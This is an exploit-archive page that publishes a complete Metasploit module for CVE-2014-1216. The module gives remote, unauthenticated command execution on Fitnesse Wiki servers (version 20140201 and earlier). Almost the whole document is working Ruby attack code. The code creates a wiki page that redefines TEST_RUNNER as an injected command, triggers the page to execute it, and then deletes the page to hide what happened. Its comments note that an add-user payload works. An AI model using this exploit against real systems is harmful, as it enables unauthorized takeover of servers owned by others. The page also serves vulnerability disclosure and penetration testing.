Fitnesse Wiki Remote Command Execution Exploit

2014.03.28
Credit: Veerendra G.G
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Fitnesse Wiki Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability found in Fitnesse Wiki, version 20140201 and earlier. }, 'Author' => [ 'Jerzy Kramarz', ## Vulnerability discovery 'Veerendra G.G <veerendragg {at} secpod.com>', ## Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-1216' ], [ 'OSVDB', '103907' ], [ 'BID', '65921' ], [ 'URL', 'http://secpod.org/blog/?p=2311' ], [ 'URL', 'http://secpod.org/msf/fitnesse_wiki_rce.rb' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Mar/1' ], [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1216/' ] ], 'Privileged' => false, 'Payload' => { 'Space' => 1000, 'BadChars' => "", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', ## ##'RequiredCmd' => 'generic telnet', ## payloads cmd/windows/adduser and cmd/windows/generic works perfectly } }, 'Platform' => %w{ win }, 'Arch' => ARCH_CMD, 'Targets' => [ ['Windows', { 'Platform' => 'win' } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 25 2014')) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Fitnesse Wiki base path', '/']) ], self.class) end def check print_status("#{peer} - Trying to detect Fitnesse Wiki") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) if res && res.code == 200 && res.body.include?(">FitNesse<") print_good("#{peer} - FitNesse Wiki Detected!") return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def http_send_command(command) ## Construct random page in WikiWord format uri = normalize_uri(target_uri.path, 'TestP' + rand_text_alpha_lower(7)) res = send_request_cgi({ 'method' => 'GET', 'uri' => uri + "?edit" }) if !res || res.code != 200 fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!") end print_status("#{peer} - Retrieving edit time and ticket id") ## Get Edit Time and Ticket Id from the response res.body =~ /"editTime" value="((\d)+)"/ edit_time = $1 res.body =~ /"ticketId" value="((-?\d)+)"/ ticket_id = $1 ## Validate we are able to extract Edit Time and Ticket Id if !edit_time or !ticket_id print_error("#{peer} - Failed to get Ticket Id / Edit Time.") return end print_status("#{peer} - Attempting to create '#{uri}'") ## Construct Referer referer = "http://#{rhost}:#{rport}" + uri + "?edit" ## Construct command to be executed page_content = '!define COMMAND_PATTERN {%m} !define TEST_RUNNER {' + command + '}' print_status("#{peer} - Injecting the payload") ## Construct POST request to create page with malicious commands ## inserted in the page res = send_request_cgi( { 'uri' => uri, 'method' => 'POST', 'headers' => {'Referer' => referer}, 'vars_post' => { 'editTime' => edit_time, 'ticketId' => ticket_id, 'responder' => 'saveData', 'helpText' => '', 'suites' => '', '__EDITOR__1' => 'textarea', 'pageContent' => page_content, 'save' => 'Save', } }) if res && res.code == 303 print_status("#{peer} - Successfully created '#{uri}' with payload") end ## Execute inserted command print_status("#{peer} - Sending exploit request") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri + "?test" }) if res && res.code == 200 print_status("#{peer} - Successfully sent exploit request") end ## Cleanup by deleting the created page print_status("#{peer} - Execting cleanup routine") referer = "http://#{rhost}:#{rport}" + uri + "?deletePage" res = send_request_cgi( { 'uri' => uri + "?deletePage", 'method' => 'POST', 'headers' => {'Referer' => referer}, 'vars_post' => { 'confirmed' => 'Yes', } }) end def exploit http_send_command(payload.encoded) end end

References:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1216/


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